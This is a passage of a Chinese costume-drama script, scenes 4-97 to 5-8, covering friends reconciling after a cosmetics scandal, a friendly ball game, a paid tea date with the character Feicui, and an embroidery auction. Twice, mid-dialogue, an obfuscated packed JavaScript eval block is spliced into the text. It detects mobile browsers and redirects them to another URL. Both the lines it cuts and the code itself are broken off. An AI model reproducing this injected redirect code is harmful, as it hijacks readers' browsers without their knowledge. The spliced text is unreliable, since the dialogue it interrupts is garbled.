洛宁:那你还对他念念不忘?就不怕这辈子再也见不着他了? 田佳:我是官、他是贼,若再见了面,反倒不好相处。 洛宁:也是啊!唉,老天爷真会开玩笑,偏偏让你俩遇上了。 田佳:是啊!虽然这些年来,倒也有好心人替我牵红线,但那种心动的感觉,只有跟他在一起的时候才会有。 洛宁:那你知道他是谁吗? 田佳:我知道他的名字,但不敢确定那个是不是他的真名。不过最令我记忆犹新的,是月光下他的那张脸。 洛宁:不用说一定很帅了? 田佳:(害羞地笑了)嘻嘻!至少在我眼里,他就是天底下最帅的男子。 洛宁:你对他一见钟情,他对你呢? 田佳:(脸更红了)嘻嘻,我哪知道呀! 洛宁:他有没有对你说过什么、或者有过什么表示? 田佳:什么表示? 洛宁:(见她一脸茫然,叹了口气)唉,田佳,虽然我不想打击你,可你俩的故事在我看来,好像自始至终都是你在自作多情,他那边什么反应都没有。 田佳:他怎么没反应?那天晚上他救了我,还替我包扎伤口,这不就是他的反应吗? 洛宁:那些不过是出于怜悯心,跟你说的那种心动的感觉没任何关系。 田佳:如果那天晚上滚下山崖的人不是我,或许他就不会这么做了。 洛宁:可能吧。唉,我总觉得这件事有点悬!要我说,你还是别等他了,免得到头来一场空…… 田佳:我也曾这样想过,可我就是放不下他。只要我一闭上眼睛,他的脸就会清晰地浮现在我的脑海里,与他相遇的那一夜,虽然短暂,却是我人生中最美好的刹那。我经常会想,此时此刻,他人在何处、在干些什么、跟谁在一起,也许他就在凤凰城里,在离我不远的地方…… 田佳自顾自地说着,一脸的陶醉。张正清从屋里走出,见她这副样子,皱起眉头。 张正清:这丫头怎么了?是不是病了? 洛宁:可不是嘛,病得还不轻呢! 就在这时,冷梦来了。 洛宁:咦,冷大夫,你怎么来了? 冷梦:洛姑娘!欧阳姑娘在路上晕倒、被人送进了医馆里,你快过去看看她吧! 4-97 众康医馆(日,内) 人物:冷梦、欧阳兰兰、洛宁、金桂 欧阳兰兰躺在病床上,尚未苏醒。 洛宁:(问欧阳兰兰身边的丫鬟金桂)怎么会这样?发生了什么事? 金桂:小姐去王夫人家里赔不是,被她们指着鼻子狠狠地数落了一通,小姐的心里不痛快,哭着哭着便晕倒了。 洛宁:欧阳兰兰去给人家赔不是?你是不是在说梦话呀? 金桂:是真的!小姐原本不想去,可少爷说,如果不去的话,就得坐牢,所以小姐才…… 洛宁:原来是这样。唉!这丫头从小到大,从不曾受过这般委屈,她能答应下来,已经很不容易了。 冷梦:(对着金桂)她的情绪很低落,需要静心调养,回去告诉她哥,别再逼她了。 金桂:(点点头)是,大夫! 冷梦:(对着洛宁)外面还有些病人在等着我,你先替我照顾一下她。 洛宁:(点点头)嗯,你去忙吧! 过了一会儿,欧阳兰兰醒了,见到洛宁,她的嘴角抽搐了一下。 欧阳兰兰:是你…… 洛宁:兰兰,你醒了?(见她挣扎着要起来)别乱动!冷大夫说…… 欧阳兰兰:(一把甩开她)你走开!别碰我!(对着金桂)快扶我起来!我要离开这里! 洛宁:(见她执意要走,叹了口气)兰兰!你的岁数也不小了,能不能别这么任性呀? 欧阳兰兰:我任性?咳咳!那我倒要问问你,我到底做错了什么?我只不过是想开个店做个买卖而已!凤仪堂的东西虽然贵了点儿,可它确实让每个人都变美了,这一点毋庸置疑!它里面有兽药,我事先并不知情。我从未想过要害人,只想大家都能跟我一样,变得漂漂亮亮!可是你们这些家伙,非但不领情,反而还把所有的过错都归咎在我的身上。我也用了凤仪堂的东西,我的脸也肿了,甚至可以说,我用的时间最长,受的伤害也最深!你们同情过我吗?你们都觉得自己是受害者,那我呢?我又何尝不是! 洛宁:兰兰,你说得没错!咱们大家都是受害者,也包括你在内。我知道你心里的委屈…… 欧阳兰兰:(一口打断)不!你根本就不懂!自始至终,你都是一个旁观者!那些人去你们督察府请愿的时候,你替我说过一句话吗?张督察说要来抓我的时候,你替我求过情吗?你什么都没有做,却还在这里假惺惺说懂我。哼,真可笑!咳咳! 洛宁:我对你漠不关心、在你最需要帮助的时候疏远你,这些我都承认!不过你也想想,如果我发现凤仪堂的东西里有半日花、却假装什么都不知道的话,结果会怎样?若干年后,那些用过凤仪堂面脂的人,男的全变成了女的、女的全变成了男的,大家都失去了生育能力,这个国家会怎样? 欧阳兰兰:你一个从聚胜古都来的人,这个国家与你何干? 洛宁:有区别吗?半日花是兽药,不管用在谁的身上,都会造成同样的伤害!到那时,也包括你在内,都会为自己现在的所作所为付出代价!与其等到一切都无法挽回的时候再去后悔,还不如趁早悬崖勒马,拯救他人的同时,也拯救了自己! 欧阳兰兰:(冷笑一声)可不是嘛!凤仪堂被查封了,你成了大家的救命恩人,而我呢?却成了众矢之的!你知道为了平息这件事,我们欧阳世家付出了多大的努力吗?我哥为了我,拿出了咱们欧阳世家整整三年的收入!可那些人呢?根本不知足!他们想要钱,还想要面子,让我去给他们赔礼道歉,我欧阳兰兰从小到大,何曾受过此等羞辱? 洛宁:如果你愿意的话,我可以陪你一起去。 欧阳兰兰:陪我一起去?去干什么?看我的笑话吗? 洛宁:去代替你向她们道歉,去代替你承受她们的白眼,你受的全部委屈,都分给我一半,你的痛苦就不会那么大了! 欧阳兰兰:哼,你以为这样就能打动我吗? 洛宁:生意场上,虽然以利益为重,但也不能没有朋友。 欧阳兰兰:以前我一直把你当朋友,可是你呢?这次的事情,让我彻底看清楚了你的真面目!哼! 洛宁:那你倒是说说,身为你的朋友,此时该怎么做?你刚才不是去过王夫人家吗?她的女儿是怎么待你的?你们俩以前不也经常手拉着手一同游玩吗? 听了这话,忆起之前在王夫人家的遭遇,欧阳兰兰的眼泪如决堤的洪水,奔涌而出。 洛宁:(上前轻轻握住她的手)兰兰!正因为这些人都是你的朋友,才不能再伤害她们了。 欧阳兰兰:我从来都没想过要伤害她们呀!哇——(伏在洛宁的肩头,放声大哭起来) 4-98 众康医馆(日,内) 人物:洛宁、路易 安抚好欧阳兰兰之后,洛宁方才从病房里走出,见路易正靠在门边,眼瞅着她笑。 路易:丫头!你这张巧嘴,遗传了谁?我吗? 洛宁:你只会让一切变得更糟糕,易大师!哼! 她瞪了他一眼,转身走了,路易却笑得更起劲了。 4-99 街道上(日,外) 人物:欧阳兰兰、洛宁 接下来的几日,洛宁便陪着欧阳兰兰一起,去给那些人赔礼道歉。果然,有了她的分担,欧阳兰兰顿觉痛苦减轻了许多。直到最后一家答应不再追究了之后,她的脸上也露出了许久未见的笑容。 欧阳兰兰:宁姐姐,谢谢你! 洛宁:这算什么呀?我这个人天生脸皮就厚,最适合干这个了! 欧阳兰兰:以后我若再得罪了谁,一定会拉着你一起去给人家赔礼道歉! 洛宁:行呀!不过要付钱哟! 欧阳兰兰:(被逗笑了)嘻嘻!那么这次呢? 洛宁:头一回试水,我给你免费!嘻嘻! 4-100 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:洛宁、顾云飞 顾云飞递给洛宁一杯茶,笑着问她。 顾云飞:代人受过的滋味如何? 洛宁:好极了!甚至可以说,与顾大堂主您的怒吼声相比,那些人的谩骂声对我来说,简直就是毛毛细雨,根本无法造成一丁点儿的伤害! 顾云飞:(白了她一眼)唉,你的脸皮已经厚到没有边际了! 洛宁:百炼成钢!若没有您,哪来这样的我呀?嘻嘻! 4-101 天地会总会,湖心亭(日,外) 人物:银华、金鹏、寒冰 银华和金鹏正在闲聊。 银华:金鹏,你哥跟那女人怎么样了?闹掰了没? 金鹏:咦,你怎么知道? 银华:我见他这几日总是唉声叹气,心想是不是因为凤仪堂的事、那女人发现面脂是假的了。 金鹏:她倒没发现面脂是假的,不过她非逼着我哥去县衙里领钱,我哥没辙儿,只能跟她说了实话。 银华:然后呢?那女人怎么说?是不是把你哥臭骂了一顿? 金鹏:不仅把他臭骂了一顿,还把他之前送给她的东西全扔了。 银华:也包括那件皮大衣吗? 金鹏:那个她倒是没扔,说是要留个念想。 银华:(忍不住笑了)哈哈,那女人对你哥果然是一往情深呀! 金鹏:唉,我就说他活该嘛!那女人年纪轻轻,怎么可能会看上他?不过是想花他的钱罢了! 银华:那你哥这次可要吸取教训呀! 金鹏:他?算了吧!不出三个月,绝对忘得一干二净,到那时又要忙着四处找媳妇了! 银华:哈哈!你哥的心态可真好,屡战屡败、屡败屡战啊! 金鹏:(摆手)唉,别提了!我现在都懒得劝他了。 寒冰路过湖畔,见他俩在这里,也走了过来。 寒冰:咦!银华,你怎么在这里? 银华:我为何不能在这里? 寒冰:这个时候,难道你不该去督察府接宁儿吗? 银华:她这阵子都跟她表哥一起回来,用不着我去接。 寒冰:呀,听上去像是被抛弃了,是不是很失落呀? 银华:(伸了个懒腰)怎么会呢?难得这么悠闲自在,多好呀! 寒冰:口是心非!总会里谁不知道,你一天见不着宁儿,连饭都吃不下。 银华:那是因为饭菜不好吃! 寒冰:觉也睡不着? 银华:那是因为茶喝多了! 寒冰:哈哈,真是死鸭子嘴硬! 银华:(瞪了他一眼)要你管! 寒冰:哈哈,不跟你开玩笑了!我是来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007387|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通知你们,下午的球赛推迟了。 银华:推迟了?怎么回事? 寒冰:宁儿的表哥和他的朋友也想参加,所以要等他们从医馆回来之后,才能开始。 金鹏:只是今天推迟了、还是以后都是这样? 寒冰:以后都是这样。听说宁儿的表哥和他的朋友在聚胜古都时,也习过武,所以你们可要好好表现,千万别丢了总会的脸哟! 银华:这还用得着你说吗?肯定会好好表现!不过那个翡翠,看上去一副弱不禁风的样子,他也参加吗? 寒冰:人不可貌相!我听宁儿说,翡翠是琥珀的高徒,他的剑术比宁儿的表哥还要厉害呢! 金鹏:真的假的?不会是在吹牛吧? 寒冰:是真是假,一试便知。 银华:(兴奋得直搓手)哈哈!这下可真是棋逢对手了!金鹏!给我打起十二分的精神来!非把他们打得落花流水不可! 4-102 天地会总会,练武场(日,外) 人物:银华、金鹏、寒冰、安琦、路易、翡翠、洛宁、欧阳兰兰、弟子若干 练武场上,一场球赛正在进行中。因为是友谊赛,双方或多或少都留了些情面,唯有翡翠,一心想赢,根本不把任何人放在眼里。 银华:这个翡翠,什么意思呀?咱们把他当客人,处处让着他,他却一点儿也不把自己当客人,想干什么呢? 队友甲:这还用问吗?肯定是想出风头了! 队友乙:要不咱们别忍了,真刀真枪地跟他们干一场! 银华:干什么呀?(斜了一眼看台)宁儿还在那边坐着呢,咱们若是把他给怎么着了,宁儿非骂死我不可! 寒冰:(调侃)银华,你还没成亲呢,怎么就惧内了? 银华:(脸刷地红了)去你的!胡说什么呢!(众笑) 队友甲:那你说咱们该怎么办吧? 银华:怎么办?当然是接着忍、接着让了!玩玩而已,较什么真呀?等哪天宁儿不在这里时,咱们再好好地收拾他!哼! 与洛宁重归于好之后,欧阳兰兰也频频过来观战,二人此时正坐在看台上,盯着场上的比赛。 欧阳兰兰:宁姐姐,我想跟你打听个事。 洛宁:什么事?你说! 欧阳兰兰:那个翡翠……他喜欢什么样的女孩子呀? 洛宁:干嘛问这个?(见她红着脸低下头,顿时明白过来)噢,你是不是看上他了? 欧阳兰兰:嘻嘻!那日我回紫蔚城,碰巧路过那片空地,一眼就望见了他。他的身影在暮色中真是太美了,我的心顿时砰砰直跳…… 洛宁:你过去跟他打招呼了吗? 欧阳兰兰:我冲着他喊了一声,不过他好像没听见,转身就走了。 洛宁:(嘀咕)这家伙经常这么干,也不知到底是真听不见还是假听不见。 欧阳兰兰:宁姐姐,你能不能帮我约一下他呀? 洛宁:行呀!(又皱起眉头)不过…… 欧阳兰兰:不过什么?他该不会对沉香国的女孩子不感兴趣吧? 洛宁:那倒没有!像你这么优秀的女孩子,不管在哪个国家,都一样能成为万人迷!我的意思是,翡翠那家伙仗着自己出身名门,总有点儿自诩清高,寻常人想要约他,还真是不太容易! 欧阳兰兰:那怎么办呀? 洛宁:你参加过拍卖会吗? 欧阳兰兰:参加过呀!辉月阁年年都办,我年年都去,里面的绣品一样比一样精美,我恨不得把它们全买下来。 洛宁:在拍卖会上,是不是谁出的价高、绣品就归谁? 欧阳兰兰:对呀!怎么了? 洛宁:实不相瞒,有两个女孩,也跟你一样想约他。 欧阳兰兰:(吃了一惊)啊!那他答应了吗? 洛宁:这不正在犹豫吗? 欧阳兰兰:那你可千万要拦着他,别让他答应了! 洛宁:这个我当然明白!就凭咱俩这么多年的关系,我不可能让她们捷足先登。男女之事,第一眼的感觉非常重要,一旦他看上了她们中间的任何一个,就未必会接受你了。 欧阳兰兰:对呀!要不这样吧,我出十两银子,约他出去喝茶。 洛宁:有一个女孩愿意出十五两银子。 欧阳兰兰:那我就出二十两! 洛宁:另一个女孩说要出二十五两。 欧阳兰兰:那我就出三十两!(掏出一沓银票,连看都不看,顺手抽出几张递给洛宁)给!拿着!不用找了! 洛宁:(惊呼)天哪!欧阳兰兰,你竟然随身带着一个小金库啊? 欧阳兰兰:(一脸得意)哼哼,若要比谁的钱多,姑娘我从来没输过! 洛宁:说得太对了!你和他,一个是富家千金小姐,一个是名门贵公子,简直就是天造地设的一对儿!欧阳兰兰,你说吧!什么时候?什么地点?我一定让他准时出现! 欧阳兰兰:(想了想)那就明天下午,在一品阁吧!嘻嘻! 4-103 天地会总会,延生堂,翡翠的屋子(夜,内) 人物:洛宁、翡翠 听闻欧阳兰兰想约他出去喝茶,翡翠一口回绝。 翡翠:我明天下午有事,去不了! 洛宁:你是来度假的,能有什么事呀? 翡翠:酒庄的事。 洛宁:不过是喝杯茶而已,你平常不也有喝下午茶的习惯吗? 翡翠:不是你急着要把钱早点儿收回来吗? 洛宁:我想到了一个更快的办法。 翡翠:哦,说来听听。 洛宁:(讲述欧阳兰兰出钱之事)我算了下,你只需每天跟她出去喝杯茶,一百天之后,我的钱就可以收回来了。是不是比盖酒庄快多了? 翡翠:(又好气又好笑)呵呵,果然是一条既省时又省力的生财之道啊! 洛宁:怎么样?去不去? 翡翠:去呀!躺着就能把钱挣了,多轻松呀! 洛宁:(竖起大拇指)识时务者为俊杰!如果人人都能像你这样,想不贵都难! 翡翠:不过,我也有个条件。 洛宁:(板起脸)你已经欠了我三千两银子,如果想再分走一半的话,那是绝对不可能的事! 翡翠:我不要钱,只不过在我出去喝茶的工夫,酒庄的事也不能耽搁,所以就交给你了! 洛宁:我?可我一点儿也不懂啊!更何况,督察府那边还有不少事呢! 翡翠:你的意思是,督察府的事更重要?那我还是不去了! 洛宁:不不不!你一定要去!(拍拍胸脯)酒庄的事交给我,一定给你办妥了! 翡翠:哼,这还差不多! 41. 第五篇 丢失的罗汉图 梁州,紫蔚城 5-1 空地上(日,外) 人物:洛宁、紫旭、工头 为了让翡翠能安心地去跟欧阳兰兰喝茶,洛宁开启了督察府和酒庄两头跑的模式。因为不懂,她又叫来紫旭帮忙把关。 洛宁:(吓了一跳)你说什么?!一栋宅子要一千两银子?你是在盖酒庄、不是在盖皇宫! 工头:洛姑娘,不是我的要价太高,实在是翡翠公子给的条件太苛刻了!他要求所有的材料都必须从原产地买,而且只能用最好的。这一来一去,光是在路上的开销,就已经是一笔大数目了。除此外还有…… 洛宁:(打断)等等!不过是一些石头木材瓦片之类,哪里用得着从原产地买呀? 工头:当初我也是这么劝他,可他不肯听,坚持要这么做,说是不能将就,我也没办法呀! 洛宁:(嘀咕)唉,这家伙是打算在这里养老吗?(对着工头)要不这样吧,你把所有的材料换成本地的,再重新给我报个价。 工头:那行!我再重新算一遍,您稍等!(拨打算盘珠,重新计算成本中……) 紫旭:呵呵,这位翡翠公子的眼光可真高呀! 洛宁:那家伙从小就是这副德性,对吃的穿的住的用的,样样都要最好的,比宫里的皇上还要讲究! 紫旭:对酿酒呢?是否也要最好的? 洛宁:酿酒就更不用说了!有一年,一位新来的酿酒师傅,不小心弄错了比例,结果酿出来的酒口感不如预期,被他一股脑儿全倒进了河里,几个月过去后,那条河里还飘着浓浓的酒香,隔着老远都能闻得到。 紫旭:既然他事事都这么讲究,你把材料换成本地的,如果被他发现了,岂不是又要从头再来? 洛宁:这里是沉香国,又不是聚胜古都,他想在这里常住,就得改变一下自己。 工头:(将重新计算的结果拿给洛宁看)洛姑娘,您看看!这个数怎么样?比之前省了不少呢! 洛宁:(瞅了一眼,又交给紫旭)紫旭,你帮我看看,这个数行吗? 紫旭:(接过来仔细看了看,点点头)如果材料都从本地买的话,差不多就是这个数,没问题! 洛宁:那行!咱们就按照这个来! 工头:好嘞!我明天就派人去买,用不了多久,咱们就可以开工了! 5-2 空地上(日,外) 人物:洛宁、翡翠 得知材料被换,翡翠顿时恼了。 翡翠:谁让你把材料偷换了? 洛宁:别说得那么难听,这叫降低成本! 翡翠:又不是钱不够,哪里用得着降低成本? 洛宁:你不是想早点儿从洛府搬出来吗?这些材料如果全部从本地买的话,只需一个月便可备齐;但如果按照你之前所说、全部从原产地买的话,至少要等半年以上,还未必能备齐了。 翡翠:偷换材料之后,是不是连工人也要缩减? 洛宁:我正想跟你说这个事呢!余大哥那边也有些人手,可以过来帮忙,工钱能省下一半呢。 翡翠:他们是花匠,盖过房子没? 洛宁:不就是把石头木材瓦片全垒到一块儿吗?这么简单的事,谁不会呀? 翡翠:(差点儿气晕过去)唉,你果然一点儿也不懂啊!罢了!从明天起,还是我自己来吧! 洛宁:你自己来?那欧阳兰兰…… 翡翠:(不耐烦地吼)她想找我的话,就让她来这里!哼! 梁州,凤凰城 5-3 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 临睡前,金鹏问余守泰。 金鹏:哥!我听宁儿说你找过她,怎么回事? 余守泰:哦,那个翡翠公子的酒庄不是马上要动工了吗?我想去给他帮帮忙。 金鹏:(皱起眉头)你跟人家又不是很熟,人家也没请你,你去干什么呀? 余守泰:怎么不熟?他住在洛府,我俩几乎天天都能碰上,昨儿他见着我,还主动跟我打了声招呼呢! 金鹏:他知道你是谁吗? 余守泰:洛府上上下下这么多人,他怎么可能个个都认识。 金鹏:你去酒庄干活儿,洛府的活儿呢?你还干不干了? 余守泰:当然要干了!眼下正值冬季,园子里的活儿不多,我寻思着,若能多接一份差事,不就能多挣一点儿钱嘛! 金鹏:现在知道自己没钱了?当初你跟那女的…… 余守泰:(打断)喂喂喂,怎么又提起这个了?不是跟你说过了吗?那些钱,并没有全花在人家巧珠一个人的身上!你想想,她去酒楼吃饭的时候,我不也吃了吗?她坐在马车上兜风的时候,我不也跟她在一起吗?这叫双赢! 金鹏:那件皮大衣呢?怎么没见她分给你一半? 余守泰:净胡说!那东西能分吗?男子汉大丈夫,别整日为这点儿鸡毛蒜皮的小事斤斤计较,咱们得把目光放长远些!就算是花出去了二十两银子,如果能再挣回来二百两银子的话,这不就是赚了吗? 金鹏:唉,行吧!你若能把那些钱挣回来,倒也是件好事。不过你只懂得栽花种果,不曾给人家盖过房子,能行吗? 余守泰:人家已经把图纸画好了,咱们只需照着盖就行了。更何况,翡翠公子也在那里,有什么不懂的地方,我可以向他请教嘛! 金鹏:我听宁儿说,那个翡翠公子为人十分挑剔,你在他的手下干活儿,可要事事放仔细些。 余守泰:(拍拍胸脯)这个你别担心,哥哥我最擅长察言观色了!嘿嘿! 梁州,紫蔚城 5-4 空地上(日,外) 人物:翡翠、欧阳兰兰 盖酒庄的材料尚未备齐,欧阳兰兰又来找翡翠。 欧阳兰兰:翡翠!酒庄尚未开工,与其在这里干等着,还不如随我出去走走! 翡翠:欧阳姑娘想去哪里? 欧阳兰兰:过几日春晖城里有一场拍卖会,要不咱俩一块儿去瞧瞧? 翡翠:咱俩?只有我和你吗? 欧阳兰兰:(脸微微一红)嘻嘻,这样不行吗? 翡翠:行呀!我也正好想买些东西放在酒庄里,只可惜来的时候太匆忙,什么都没带,连酒庄都是借钱盖的。如今去了,只怕会囊中羞涩。 欧阳兰兰:这个用不着担心,你喜欢什么,我买给你便是,咱们欧阳世家最不缺的就是钱了! 翡翠:是吗?那就谢谢欧阳姑娘了! 欧阳兰兰:嘻嘻,咱俩已经这么熟了,你怎么还叫我欧阳姑娘呀?快别这么叫了! 第二天,欧阳兰兰和翡翠便去了春晖城,二人一路走一路游玩,遍赏梁州境内的美景。 梁州,春晖城 5-5 辉月阁,前门(日,外) 人物:翡翠、欧阳兰兰 二人抵达春晖城后,见时候尚早,先是四处看了看,然后才来到辉月阁。 翡翠:这里就是辉月阁? 欧阳兰兰:是不是很气派呀?虽然只是家绣坊,可它的地盘却一点儿也不小,占了这座城的一半呢! 翡翠:刚才过来时,我见沿路有很多家店铺,也在售卖各类绣品,它们是否都来自辉月阁? 欧阳兰兰:(摇摇头)内行的人都知道,辉月阁的东西,从来只在辉月阁里售卖。只有那些没钱又想要面子的人,才会去路边的店铺里买那些廉价的仿品。 翡翠:真迹和仿品,你分得清吗? 欧阳兰兰:就算我分不清,但那些绣娘们总要分得清吧?自己绣出来的东西,如果连自己都不认识,岂不是让人笑掉大牙?更何况,我从来只在辉月阁里买绣品,不可能遇上假货。 翡翠:这么说,就算她们把假货卖给你,你也以为是真货,对不对? 欧阳兰兰:我可是辉月阁的老主顾,年年都来、年年都买,她们糊弄谁也不敢糊弄我呀! 翡翠:那你跟这里的绣娘应该很熟了吧? 欧阳兰兰:怎么说呢,我未必全都认识她们,但她们全都认识我。唉,没办法,谁让咱们欧阳世家在梁州境内太出名了呢! 翡翠:这家绣坊在你们梁州境内,应该也很出名吧? 欧阳兰兰:它不仅是梁州境内最大的绣坊,也是沉香国里数一数二的绣坊,就连宫里的皇上都对它赞不绝口呢! 翡翠:如此以来,这里面的东西价钱也应该不菲吧? 欧阳兰兰:对别人来说,它的价钱也许高得离谱;但对我来说,一年若不买上几回,总觉得像是钱没花出去。唉,没办法,谁让咱们欧阳世家的钱太多了呢! 翡翠:那你这回打算买哪位绣娘的绣品? 欧阳兰兰:我喜欢的绣娘又何止一个?只不过有一位名叫贤晴的绣娘,她的每一幅绣品都华丽至极,深得我心。 翡翠:华丽至极?我原以为你这个岁数的女孩子,应该会偏爱小清新呢! 欧阳兰兰:小清新?呵呵!宫里的皇后年轻时也偏爱小清新,可为了显摆身份,也不得不戴上沉甸甸的凤冠。同样的道理,为了咱们欧阳世家的脸面,我就算是一枚小清新,也不得不华丽呀! 翡翠:嗯,也是。那你有没有想过要当皇后? 欧阳兰兰:当皇后?呵呵!宫里每年都会从民间选一些秀女,只要舍得花钱,想进去也不是什么难事。只不过我娘说我不懂算计,怕我进去之后会吃亏,不肯让我参选。更何况,我虽然人在宫外,日子却过得比宫里的皇后舒坦多了! 翡翠:(不禁感叹)宫外的鸟儿,总羡慕宫里的日子,殊不知宫里的鸟儿,一心想着往外飞。 5-6 辉月阁,展厅(日,内) 人物:翡翠、欧阳兰兰、绣娘若干 绣坊的展厅里,摆放着很多精美的绣品,二人边走边看。 翡翠:里面的客人好像并不多。 欧阳兰兰:明天拍卖会上,人自然就多了。 翡翠:你喜欢哪个? 欧阳兰兰:这里的绣品都是明码标价,我一个也看不上。 翡翠:什么意思? 欧阳兰兰:辉月阁把自己的绣品分为上中下三等,中等和下等的都是明码标价,只有上等的才会在拍卖会上出售。除此外,还有些价值连城的孤品,那种东西就算是宫里的皇上来了,也只能看看,有钱也不卖。 翡翠:你见过吗? 欧阳兰兰:每年的拍卖会上,都会展出一两幅。今年是罗汉图,那个不仅是孤品,更是无法复制的孤品。 翡翠:无法复制的孤品? 欧阳兰兰:嗯。这幅罗汉图,是辉月阁里手艺最顶尖的十八位绣娘,用了整整十年的工夫,方才完成的。在这些绣娘里,有的已经老去,眼睛看不见了,有的已经嫁做人妇,不再干这一行了。如此以来,不就是无法复制了吗? 翡翠:原来如此。那么这回,托欧阳姑娘的福,我也能跟着开开眼界了。 欧阳兰兰:嘻嘻,这些都是小事儿!甭管是谁,只要跟着我,以后的日子什么都不用愁!嘻嘻! 欧阳兰兰说得没错,辉月阁里的绣娘们似乎都对她挺熟悉,一见到她,便笑着迎了上来,不仅向她推荐自己的绣品,同时也对翡翠这个来自异国他乡的翩翩公子,感到十分好奇。 绣娘:欧阳姑娘,这位公子是你们欧阳世家的亲戚吗? 欧阳兰兰:嘻嘻,虽然不是亲戚,但也跟亲戚差不多。实话告诉你们,他叫翡翠,是我朋友的朋友。 绣娘:朋友的朋友?那就是远亲了!翡翠公子,您是从哪里来的呀? 翡翠:聚胜古都。 绣娘:聚胜古都?我听说凤凰城洛府的二小姐,也是聚胜古都的人,您是不是她的朋友呀? 翡翠:正是。你们也认识她呀? 绣娘:只是听说过,从不曾见过。不过洛府的大小姐,我们倒是见过几回。 欧阳兰兰:青姐姐也来过这里?她买了些什么? 绣娘:她的丝巾破了,在凤凰城里找不到合适的织补,便过来请我们帮忙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007388|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欧阳兰兰:一条丝巾而已,破了就破了,再买条新的不就行了! 绣娘:听说那条丝巾是别人送给她的,她十分爱惜,既舍不得戴,又舍不得扔。 欧阳兰兰:唉!我认识她这么久,就数她这一点最让我看不惯。按理说,她可是洛府的大小姐,又是□□的管家,自己的哥哥在做生意,想用钱的话,直接找他要好了,你看宁姐姐不就是这样吗?唯独她,总不把自己当主子看,□□的开销,样样都十分计较,日子过得紧巴巴,哪里像个大小姐? 翡翠:既然可以直接找她哥要,宁又为何会去督察府? 欧阳兰兰:要我说,她也是一样想不开!那个张督察也不是什么好对付的角色,她在督察府里,几乎天天都被他骂,时不时地还要罚她抄几遍大忏悔文。可她就是乐意,你说这不就是想不开吗? 翡翠:她去督察府,是谁的主意? 欧阳兰兰:起初张督察只是在遇到一些棘手的案子时,会问一下她的意见,后来估计是嫌来回跑路太麻烦,索性问她愿不愿意去督察府,宁姐姐倒也干脆,当下就答应了。 翡翠:如此以来,张督察一定很开心了? 欧阳兰兰:可不是嘛!你没看见他那阵子的模样,就像当初中了武状元一样,逢人便笑。不过后来嘛…… 翡翠:后来怎么了? 欧阳兰兰:宁姐姐虽然帮他破了不少案子,却也给督察府捅了不少娄子,功过相抵之后,他就再也笑不出来了。 翡翠:(扑哧一笑)那他为何不让她回去?为何还要将她留在督察府里? 欧阳兰兰:请神容易送神难!宁姐姐是谁呀?他就算不想给她面子,也得给她爷爷一个面子吧! 翡翠:这么说,他是在等着宁自己开口呢? 欧阳兰兰:宁姐姐才不会开口呢!她去督察府又不是白干,除了一日三餐之外,还可以领薪水。在这一点上,她跟青姐姐倒是挺像,不愧是一家人! 翡翠:弄了半天,她去督察府是为了钱呀? 欧阳兰兰:不然能怎样?总不至于是冲着张督察去的吧? 翡翠:为何不可? 欧阳兰兰:翡翠你是从聚胜古都来的,不懂咱们这里的规矩。如果张督察只是个督察,倒也罢了,但他还是皇后娘娘的亲外甥、正经的皇亲国戚,又深受皇上器重,他的婚事,只怕连他自己都做不了主。 翡翠:原来你们沉香国也讲究门当户对呀? 欧阳兰兰:你们聚胜古都呢?是否像宁姐姐说的那样,人人平等、嫁娶自由? 翡翠:话虽如此,可真正做起来,却是很难。两个人的家境、学识、生活习惯如果千差万别的话,即使在一起了,也未必能幸福。 欧阳兰兰:(试探地)那你呢?是否觉得咱俩有很多相似的地方? 翡翠:我们才认识不久,不急着下定论。 欧阳兰兰:嗯,也是。那你跟宁姐姐呢?你们不是很小的时候就认识了吗? 翡翠:你想听真话? 欧阳兰兰:当然了!你快说吧,我保证不会告诉任何人。 翡翠:这辈子,在所有认识的人里面,我最讨厌的就是她了! 第二天,拍卖会如期举行,来了很多客人,个个非富即贵。拍卖会上的绣品果然非同凡响,与之相比,那些陈列在展厅里的绣品,倒显得拙劣了。绣坊的老板邱红叶也出现在拍卖会上,她似乎跟每一位客人都很熟,与他们谈笑风生。 5-7 辉月阁,拍卖场(日,内) 人物:欧阳兰兰、翡翠、邱红叶 一上午快要过去了,欧阳兰兰却连一幅绣品都没有拍,她皱着眉头,走到邱红叶面前。 欧阳兰兰:邱老板,贤晴姑娘的绣品在第几个?我可是冲着她来的! 邱红叶:呀,是欧阳小姐!真不好意思,恐怕要让您失望了。今年的拍卖会上,没有贤晴姑娘的绣品。 欧阳兰兰:哦,为何?我记得以往年年都有啊! 邱红叶:唉,她家里出了点儿事,忙不过来,所以今年没绣出什么东西。 欧阳兰兰:这样啊!唉,真是太可惜了,我还想多买几幅呢! 邱红叶:其实,除了贤晴之外,别的绣娘也有许多精美的绣品。拍卖会才刚开始,您慢慢往后看,一定会有您喜欢的东西! 欧阳兰兰:唉,那好吧!反正来都来了,不可能空着手回去。(问翡翠)翡翠,你喜欢哪个? 翡翠:我想看看那幅罗汉图。 邱红叶:嘻嘻,这位公子果然好眼光!罗汉图可是我们辉月阁的镇阁之宝,下午的拍卖会结束之后,会向大家展示。你们别着急,一定能见着! 5-8 辉月阁,拍卖场(日,内) 